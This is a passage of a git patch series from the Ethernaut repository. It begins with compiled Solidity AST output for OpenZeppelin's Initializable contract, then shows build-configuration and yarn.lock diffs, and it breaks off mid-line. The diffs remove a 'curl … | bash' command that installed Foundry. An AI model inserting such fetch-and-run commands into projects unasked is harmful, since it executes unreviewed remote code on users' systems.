initializing\""}],"id":48448,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5366:7:36","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48451,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5366:69:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48452,"nodeType":"ExpressionStatement","src":"5366:69:36"},{"id":48453,"nodeType":"PlaceholderStatement","src":"5445:1:36"}]},"documentation":{"id":48446,"nodeType":"StructuredDocumentation","src":"5124:199:36","text":" @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n {initializer} and {reinitializer} modifiers, directly or indirectly."},"name":"onlyInitializing","nameLocation":"5337:16:36","parameters":{"id":48447,"nodeType":"ParameterList","parameters":[],"src":"5353:2:36"},"virtual":false,"visibility":"internal"},{"id":48491,"nodeType":"FunctionDefinition","src":"5939:280:36","nodes":[],"body":{"id":48490,"nodeType":"Block","src":"5988:231:36","nodes":[],"statements":[{"expression":{"arguments":[{"id":48461,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"6006:14:36","subExpression":{"id":48460,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"6007:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e697469616c697a61626c653a20636f6e747261637420697320696e697469616c697a696e67","id":48462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6022:41:36","typeDescriptions":{"typeIdentifier":"t_stringliteral_a53f5879e7518078ff19b2e3d6b41e757a87364ec6872787feb45bfc41131d1a","typeString":"literal_string \"Initializable: contract is initializing\""},"value":"Initializable: contract is initializing"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_a53f5879e7518078ff19b2e3d6b41e757a87364ec6872787feb45bfc41131d1a","typeString":"literal_string \"Initializable: contract is initializing\""}],"id":48459,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5998:7:36","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48463,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5998:66:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48464,"nodeType":"ExpressionStatement","src":"5998:66:36"},{"condition":{"commonType":{"typeIdentifier":"t_uint8","typeString":"uint8"},"id":48471,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":48465,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"6078:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"arguments":[{"id":48468,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6099:5:36","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":48467,"name":"uint8","nodeType":"ElementaryTypeName","src":"6099:5:36","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"}],"id":48466,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"6094:4:36","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":48469,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6094:11:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint8","typeString":"type(uint8)"}},"id":48470,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6106:3:36","memberName":"max","nodeType":"MemberAccess","src":"6094:15:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"src":"6078:31:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":48489,"nodeType":"IfStatement","src":"6074:139:36","trueBody":{"id":48488,"nodeType":"Block","src":"6111:102:36","statements":[{"expression":{"id":48478,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":48472,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"6125:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"arguments":[{"id":48475,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6145:5:36","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":48474,"name":"uint8","nodeType":"ElementaryTypeName","src":"6145:5:36","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"}],"id":48473,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"6140:4:36","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":48476,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6140:11:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint8","typeString":"type(uint8)"}},"id":48477,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6152:3:36","memberName":"max","nodeType":"MemberAccess","src":"6140:15:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"src":"6125:30:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"id":48479,"nodeType":"ExpressionStatement","src":"6125:30:36"},{"eventCall":{"arguments":[{"expression":{"arguments":[{"id":48483,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6191:5:36","typeDescriptions":{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"},"typeName":{"id":48482,"name":"uint8","nodeType":"ElementaryTypeName","src":"6191:5:36","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint8_$","typeString":"type(uint8)"}],"id":48481,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"6186:4:36","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":48484,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6186:11:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint8","typeString":"type(uint8)"}},"id":48485,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6198:3:36","memberName":"max","nodeType":"MemberAccess","src":"6186:15:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint8","typeString":"uint8"}],"id":48480,"name":"Initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48356,"src":"6174:11:36","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_uint8_$returns$__$","typeString":"function (uint8)"}},"id":48486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6174:28:36","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48487,"nodeType":"EmitStatement","src":"6169:33:36"}]}}]},"documentation":{"id":48456,"nodeType":"StructuredDocumentation","src":"5459:475:36","text":" @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n through proxies.\n Emits an {Initialized} event the first time it is successfully executed."},"implemented":true,"kind":"function","modifiers":[],"name":"_disableInitializers","nameLocation":"5948:20:36","parameters":{"id":48457,"nodeType":"ParameterList","parameters":[],"src":"5968:2:36"},"returnParameters":{"id":48458,"nodeType":"ParameterList","parameters":[],"src":"5988:0:36"},"scope":48510,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":48500,"nodeType":"FunctionDefinition","src":"6329:100:36","nodes":[],"body":{"id":48499,"nodeType":"Block","src":"6393:36:36","nodes":[],"statements":[{"expression":{"id":48497,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48348,"src":"6410:12:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"functionReturnParameters":48496,"id":48498,"nodeType":"Return","src":"6403:19:36"}]},"documentation":{"id":48492,"nodeType":"StructuredDocumentation","src":"6225:99:36","text":" @dev Returns the highest version that has been initialized. See {reinitializer}."},"implemented":true,"kind":"function","modifiers":[],"name":"_getInitializedVersion","nameLocation":"6338:22:36","parameters":{"id":48493,"nodeType":"ParameterList","parameters":[],"src":"6360:2:36"},"returnParameters":{"id":48496,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48495,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48500,"src":"6386:5:36","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":48494,"name":"uint8","nodeType":"ElementaryTypeName","src":"6386:5:36","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"}],"src":"6385:7:36"},"scope":48510,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48509,"nodeType":"FunctionDefinition","src":"6545:93:36","nodes":[],"body":{"id":48508,"nodeType":"Block","src":"6601:37:36","nodes":[],"statements":[{"expression":{"id":48506,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48351,"src":"6618:13:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":48505,"id":48507,"nodeType":"Return","src":"6611:20:36"}]},"documentation":{"id":48501,"nodeType":"StructuredDocumentation","src":"6435:105:36","text":" @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}."},"implemented":true,"kind":"function","modifiers":[],"name":"_isInitializing","nameLocation":"6554:15:36","parameters":{"id":48502,"nodeType":"ParameterList","parameters":[],"src":"6569:2:36"},"returnParameters":{"id":48505,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48504,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48509,"src":"6595:4:36","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48503,"name":"bool","nodeType":"ElementaryTypeName","src":"6595:4:36","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"6594:6:36"},"scope":48510,"stateMutability":"view","virtual":false,"visibility":"internal"}],"abstract":true,"baseContracts":[],"canonicalName":"Initializable","contractDependencies":[],"contractKind":"contract","documentation":{"id":48345,"nodeType":"StructuredDocumentation","src":"184:2209:36","text":" @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n case an upgrade adds a module that needs to be initialized.\n For example:\n [.hljs-theme-light.nopadding]\n ```solidity\n contract MyToken is ERC20Upgradeable {\n function initialize() initializer public {\n __ERC20_init(\"MyToken\", \"MTK\");\n }\n }\n contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n function initializeV2() reinitializer(2) public {\n __ERC20Permit_init(\"MyToken\");\n }\n }\n ```\n TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n [CAUTION]\n ====\n Avoid leaving a contract uninitialized.\n An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n [.hljs-theme-light.nopadding]\n ```\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n ```\n ===="},"fullyImplemented":true,"linearizedBaseContracts":[48510],"name":"Initializable","nameLocation":"2412:13:36","scope":48511,"usedErrors":[],"usedEvents":[48356]}],"license":"MIT"},"id":36} \ No newline at end of file diff --git a/netlify.toml b/netlify.toml index c767b032f..216ccd820 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash' && yarn run build:ethernaut" + command = "yarn --cwd client build" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index 81b9b1414..1579d7fde 100644 --- a/package.json +++ b/package.json @@ -2,7 +2,6 @@ "private": true, "workspaces": { "packages": [ - "contracts", "client", "deps/hljs" ] @@ -15,9 +14,8 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "foundry:up": "/bin/bash -c 'curl -L https://foundry.paradigm.xyz | bash'", - "test": "cd contracts && forge t", - "compile:contracts": "cd contracts && forge b", + "test": "cd contracts && forge test", + "compile:contracts": "cd contracts && forge build", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", "upgrade:proxy": "yarn compile:contracts && node --experimental-json-modules client/scripts/upgrade_proxy.mjs", "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", From 1c6f2187e763b1f4b89a5fd933525aee8f6729cb Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 10:58:07 -0500 Subject: [PATCH 27/35] =?UTF-8?q?=F0=9F=94=A8netlify=20use=20yarn=20run?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- netlify.toml | 2 +- package.json | 1 + yarn.lock | 4918 ++------------------------------------------------ 3 files changed, 166 insertions(+), 4755 deletions(-) diff --git a/netlify.toml b/netlify.toml index 216ccd820..fd29d6255 100644 --- a/netlify.toml +++ b/netlify.toml @@ -1,5 +1,5 @@ [build] - command = "yarn --cwd client build" + command = "yarn && yarn run build:netlify" publish = "client/build" [[redirects]] diff --git a/package.json b/package.json index 1579d7fde..5d0107f00 100644 --- a/package.json +++ b/package.json @@ -21,6 +21,7 @@ "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", "network": "cd contracts && anvil", "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", + "build:netlify": "yarn --cwd client build", "start:ethernaut": "cd client && yarn start", "test:contracts": "cd contracts && forge test", "leaderboard:oldCrawler": "node client/leaderboard/scripts/crawlers/crawlHistoricalData/index.cjs", diff --git a/yarn.lock b/yarn.lock index 44b172cc5..cb4da4283 100644 --- a/yarn.lock +++ b/yarn.lock @@ -853,7 +853,7 @@ dependencies: "@babel/helper-plugin-utils" "^7.18.6" -"@babel/plugin-transform-runtime@^7.16.4", "@babel/plugin-transform-runtime@^7.5.5": +"@babel/plugin-transform-runtime@^7.16.4": version "7.19.6" resolved "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.19.6.tgz" integrity sha512-PRH37lz4JU156lYFW1p8OxE5i7d6Sl/zV58ooyr+q1J1lnQPyg5tIiXlIwNVhJaY4W3TmOtdc8jqdXQcB1v5Yw== @@ -1100,11 +1100,6 @@ exec-sh "^0.3.2" minimist "^1.2.0" -"@colors/colors@1.5.0": - version "1.5.0" - resolved "https://registry.npmjs.org/@colors/colors/-/colors-1.5.0.tgz" - integrity sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ== - "@csstools/convert-colors@^1.4.0": version "1.4.0" resolved "https://registry.npmjs.org/@csstools/convert-colors/-/convert-colors-1.4.0.tgz" @@ -1150,7 +1145,7 @@ nano-base32 "^1.0.1" ripemd160 "^2.0.2" -"@ensdomains/ens@0.4.5", "@ensdomains/ens@^0.4.4": +"@ensdomains/ens@0.4.5": version "0.4.5" resolved "https://registry.npmjs.org/@ensdomains/ens/-/ens-0.4.5.tgz" integrity sha512-JSvpj1iNMFjK6K+uVl4unqMoa9rf5jopb8cya5UGBWz23Nw8hSNT7efgUx4BTlAPAgpNlEioUfeTyQ6J9ZvTVw== @@ -1161,7 +1156,7 @@ testrpc "0.0.1" web3-utils "^1.0.0-beta.31" -"@ensdomains/ensjs@^2.0.1", "@ensdomains/ensjs@^2.1.0": +"@ensdomains/ensjs@^2.1.0": version "2.1.0" resolved "https://registry.npmjs.org/@ensdomains/ensjs/-/ensjs-2.1.0.tgz" integrity sha512-GRbGPT8Z/OJMDuxs75U/jUNEC0tbL0aj7/L/QQznGYKm/tiasp+ndLOaoULy9kKJFC0TBByqfFliEHDgoLhyog== @@ -1175,7 +1170,7 @@ ethers "^5.0.13" js-sha3 "^0.8.0" -"@ensdomains/resolver@0.2.4", "@ensdomains/resolver@^0.2.4": +"@ensdomains/resolver@0.2.4": version "0.2.4" resolved "https://registry.npmjs.org/@ensdomains/resolver/-/resolver-0.2.4.tgz" integrity sha512-bvaTH34PMCbv6anRa9I/0zjLJgY4EuznbEMgbV77JBCQ9KNC46rzi0avuxpOfu+xDjPEtSFGqVEOr5GlUSGudA== @@ -1195,59 +1190,6 @@ minimatch "^3.0.4" strip-json-comments "^3.1.1" -"@ethereum-waffle/chai@^3.4.4": - version "3.4.4" - resolved "https://registry.npmjs.org/@ethereum-waffle/chai/-/chai-3.4.4.tgz" - integrity sha512-/K8czydBtXXkcM9X6q29EqEkc5dN3oYenyH2a9hF7rGAApAJUpH8QBtojxOY/xQ2up5W332jqgxwp0yPiYug1g== - dependencies: - "@ethereum-waffle/provider" "^3.4.4" - ethers "^5.5.2" - -"@ethereum-waffle/compiler@^3.4.4": - version "3.4.4" - resolved "https://registry.npmjs.org/@ethereum-waffle/compiler/-/compiler-3.4.4.tgz" - integrity sha512-RUK3axJ8IkD5xpWjWoJgyHclOeEzDLQFga6gKpeGxiS/zBu+HB0W2FvsrrLalTFIaPw/CGYACRBSIxqiCqwqTQ== - dependencies: - "@resolver-engine/imports" "^0.3.3" - "@resolver-engine/imports-fs" "^0.3.3" - "@typechain/ethers-v5" "^2.0.0" - "@types/mkdirp" "^0.5.2" - "@types/node-fetch" "^2.5.5" - ethers "^5.0.1" - mkdirp "^0.5.1" - node-fetch "^2.6.1" - solc "^0.6.3" - ts-generator "^0.1.1" - typechain "^3.0.0" - -"@ethereum-waffle/ens@^3.4.4": - version "3.4.4" - resolved "https://registry.npmjs.org/@ethereum-waffle/ens/-/ens-3.4.4.tgz" - integrity sha512-0m4NdwWxliy3heBYva1Wr4WbJKLnwXizmy5FfSSr5PMbjI7SIGCdCB59U7/ZzY773/hY3bLnzLwvG5mggVjJWg== - dependencies: - "@ensdomains/ens" "^0.4.4" - "@ensdomains/resolver" "^0.2.4" - ethers "^5.5.2" - -"@ethereum-waffle/mock-contract@^3.4.4": - version "3.4.4" - resolved "https://registry.npmjs.org/@ethereum-waffle/mock-contract/-/mock-contract-3.4.4.tgz" - integrity sha512-Mp0iB2YNWYGUV+VMl5tjPsaXKbKo8MDH9wSJ702l9EBjdxFf/vBvnMBAC1Fub1lLtmD0JHtp1pq+mWzg/xlLnA== - dependencies: - "@ethersproject/abi" "^5.5.0" - ethers "^5.5.2" - -"@ethereum-waffle/provider@^3.4.4": - version "3.4.4" - resolved "https://registry.npmjs.org/@ethereum-waffle/provider/-/provider-3.4.4.tgz" - integrity sha512-GK8oKJAM8+PKy2nK08yDgl4A80mFuI8zBkE0C9GqTRYQqvuxIyXoLmJ5NZU9lIwyWVv5/KsoA11BgAv2jXE82g== - dependencies: - "@ethereum-waffle/ens" "^3.4.4" - ethers "^5.5.2" - ganache-core "^2.13.2" - patch-package "^6.2.2" - postinstall-postinstall "^2.1.0" - "@ethereumjs/common@2.5.0": version "2.5.0" resolved "https://registry.npmjs.org/@ethereumjs/common/-/common-2.5.0.tgz" @@ -1256,7 +1198,7 @@ crc-32 "^1.2.0" ethereumjs-util "^7.1.1" -"@ethereumjs/common@^2.4.0", "@ethereumjs/common@^2.5.0", "@ethereumjs/common@^2.6.4": +"@ethereumjs/common@^2.5.0", "@ethereumjs/common@^2.6.4": version "2.6.5" resolved "https://registry.npmjs.org/@ethereumjs/common/-/common-2.6.5.tgz" integrity sha512-lRyVQOeCDaIVtgfbowla32pzeDv2Obr8oR8Put5RdUBNRGr1VGPGQNGP6elWIpgK3YdpzqTOh4GyUGOureVeeA== @@ -1272,7 +1214,7 @@ "@ethereumjs/common" "^2.5.0" ethereumjs-util "^7.1.2" -"@ethereumjs/tx@^3.3.0", "@ethereumjs/tx@^3.3.2": +"@ethereumjs/tx@^3.3.2": version "3.5.2" resolved "https://registry.npmjs.org/@ethereumjs/tx/-/tx-3.5.2.tgz" integrity sha512-gQDNJWKrSDGu2w7w0PzVXVBNMzb7wwdDOmOqczmhNjqFxFuIbhVJDwiGEnxFNC2/b8ifcZzY7MLcluizohRzNw== @@ -1280,22 +1222,7 @@ "@ethereumjs/common" "^2.6.4" ethereumjs-util "^7.1.5" -"@ethersproject/abi@5.0.0-beta.153": - version "5.0.0-beta.153" - resolved "https://registry.npmjs.org/@ethersproject/abi/-/abi-5.0.0-beta.153.tgz" - integrity sha512-aXweZ1Z7vMNzJdLpR1CZUAIgnwjrZeUSvN9syCwlBaEBUFJmFY+HHnfuTI5vIhVs/mRkfJVrbEyl51JZQqyjAg== - dependencies: - "@ethersproject/address" ">=5.0.0-beta.128" - "@ethersproject/bignumber" ">=5.0.0-beta.130" - "@ethersproject/bytes" ">=5.0.0-beta.129" - "@ethersproject/constants" ">=5.0.0-beta.128" - "@ethersproject/hash" ">=5.0.0-beta.128" - "@ethersproject/keccak256" ">=5.0.0-beta.127" - "@ethersproject/logger" ">=5.0.0-beta.129" - "@ethersproject/properties" ">=5.0.0-beta.131" - "@ethersproject/strings" ">=5.0.0-beta.130" - -"@ethersproject/abi@5.7.0", "@ethersproject/abi@^5.0.0-beta.146", "@ethersproject/abi@^5.1.2", "@ethersproject/abi@^5.5.0", "@ethersproject/abi@^5.6.3", "@ethersproject/abi@^5.7.0": +"@ethersproject/abi@5.7.0", "@ethersproject/abi@^5.6.3", "@ethersproject/abi@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/abi/-/abi-5.7.0.tgz" integrity sha512-351ktp42TiRcYB3H1OP8yajPeAQstMW/yCFokj/AthP9bLHzQFPlOrxOcwYEDkUAICmOHljvN4K39OMTMUa9RA== @@ -1334,7 +1261,7 @@ "@ethersproject/logger" "^5.7.0" "@ethersproject/properties" "^5.7.0" -"@ethersproject/address@5.7.0", "@ethersproject/address@>=5.0.0-beta.128", "@ethersproject/address@^5.7.0": +"@ethersproject/address@5.7.0", "@ethersproject/address@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/address/-/address-5.7.0.tgz" integrity sha512-9wYhYt7aghVGo758POM5nqcOMaE168Q6aRLJZwUmiqSrAungkG74gSSeKEIR7ukixesdRZGPgVqme6vmxs1fkA== @@ -1360,7 +1287,7 @@ "@ethersproject/bytes" "^5.7.0" "@ethersproject/properties" "^5.7.0" -"@ethersproject/bignumber@5.7.0", "@ethersproject/bignumber@>=5.0.0-beta.130", "@ethersproject/bignumber@^5.7.0": +"@ethersproject/bignumber@5.7.0", "@ethersproject/bignumber@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/bignumber/-/bignumber-5.7.0.tgz" integrity sha512-n1CAdIHRWjSucQO3MC1zPSVgV/6dy/fjL9pMrPP9peL+QxEg9wOsVqwD4+818B6LUEtaXzVHQiuivzRoxPxUGw== @@ -1369,14 +1296,14 @@ "@ethersproject/logger" "^5.7.0" bn.js "^5.2.1" -"@ethersproject/bytes@5.7.0", "@ethersproject/bytes@>=5.0.0-beta.129", "@ethersproject/bytes@^5.7.0": +"@ethersproject/bytes@5.7.0", "@ethersproject/bytes@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/bytes/-/bytes-5.7.0.tgz" integrity sha512-nsbxwgFXWh9NyYWo+U8atvmMsSdKJprTcICAkvbBffT75qDocbuggBU0SJiVK2MuTrp0q+xvLkTnGMPK1+uA9A== dependencies: "@ethersproject/logger" "^5.7.0" -"@ethersproject/constants@5.7.0", "@ethersproject/constants@>=5.0.0-beta.128", "@ethersproject/constants@^5.7.0": +"@ethersproject/constants@5.7.0", "@ethersproject/constants@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/constants/-/constants-5.7.0.tgz" integrity sha512-DHI+y5dBNvkpYUMiRQyxRBYBefZkJfo70VUkUAsRjcPs47muV9evftfZ0PJVCXYbAiCgght0DtcF9srFQmIgWA== @@ -1399,7 +1326,7 @@ "@ethersproject/properties" "^5.7.0" "@ethersproject/transactions" "^5.7.0" -"@ethersproject/hash@5.7.0", "@ethersproject/hash@>=5.0.0-beta.128", "@ethersproject/hash@^5.7.0": +"@ethersproject/hash@5.7.0", "@ethersproject/hash@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/hash/-/hash-5.7.0.tgz" integrity sha512-qX5WrQfnah1EFnO5zJv1v46a8HW0+E5xuBBDTwMFZLuVTx0tbU2kkx15NqdjxecrLGatQN9FGQKpb1FKdHCt+g== @@ -1451,7 +1378,7 @@ aes-js "3.0.0" scrypt-js "3.0.1" -"@ethersproject/keccak256@5.7.0", "@ethersproject/keccak256@>=5.0.0-beta.127", "@ethersproject/keccak256@^5.7.0": +"@ethersproject/keccak256@5.7.0", "@ethersproject/keccak256@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/keccak256/-/keccak256-5.7.0.tgz" integrity sha512-2UcPboeL/iW+pSg6vZ6ydF8tCnv3Iu/8tUmLLzWWGzxWKFFqOBQFLo6uLUv6BDrLgCDfN28RJ/wtByx+jZ4KBg== @@ -1459,7 +1386,7 @@ "@ethersproject/bytes" "^5.7.0" js-sha3 "0.8.0" -"@ethersproject/logger@5.7.0", "@ethersproject/logger@>=5.0.0-beta.129", "@ethersproject/logger@^5.7.0": +"@ethersproject/logger@5.7.0", "@ethersproject/logger@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/logger/-/logger-5.7.0.tgz" integrity sha512-0odtFdXu/XHtjQXJYA3u9G0G8btm0ND5Cu8M7i5vhEcE8/HmF4Lbdqanwyv4uQTr2tx6b7fQRmgLrsnpQlmnig== @@ -1479,7 +1406,7 @@ "@ethersproject/bytes" "^5.7.0" "@ethersproject/sha2" "^5.7.0" -"@ethersproject/properties@5.7.0", "@ethersproject/properties@>=5.0.0-beta.131", "@ethersproject/properties@^5.7.0": +"@ethersproject/properties@5.7.0", "@ethersproject/properties@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/properties/-/properties-5.7.0.tgz" integrity sha512-J87jy8suntrAkIZtecpxEPxY//szqr1mlBaYlQ0r4RCaiD2hjheqF9s1LVE8vVuJCXisjIP+JgtK/Do54ej4Sw== @@ -1561,7 +1488,7 @@ "@ethersproject/sha2" "^5.7.0" "@ethersproject/strings" "^5.7.0" -"@ethersproject/strings@5.7.0", "@ethersproject/strings@>=5.0.0-beta.130", "@ethersproject/strings@^5.7.0": +"@ethersproject/strings@5.7.0", "@ethersproject/strings@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/strings/-/strings-5.7.0.tgz" integrity sha512-/9nu+lj0YswRNSH0NXYqrh8775XNyEdUQAuf3f+SmOrnVewcJ5SBNAjF7lpgehKi4abvNNXyf+HX86czCdJ8Mg== @@ -1570,7 +1497,7 @@ "@ethersproject/constants" "^5.7.0" "@ethersproject/logger" "^5.7.0" -"@ethersproject/transactions@5.7.0", "@ethersproject/transactions@^5.0.0-beta.135", "@ethersproject/transactions@^5.6.2", "@ethersproject/transactions@^5.7.0": +"@ethersproject/transactions@5.7.0", "@ethersproject/transactions@^5.6.2", "@ethersproject/transactions@^5.7.0": version "5.7.0" resolved "https://registry.npmjs.org/@ethersproject/transactions/-/transactions-5.7.0.tgz" integrity 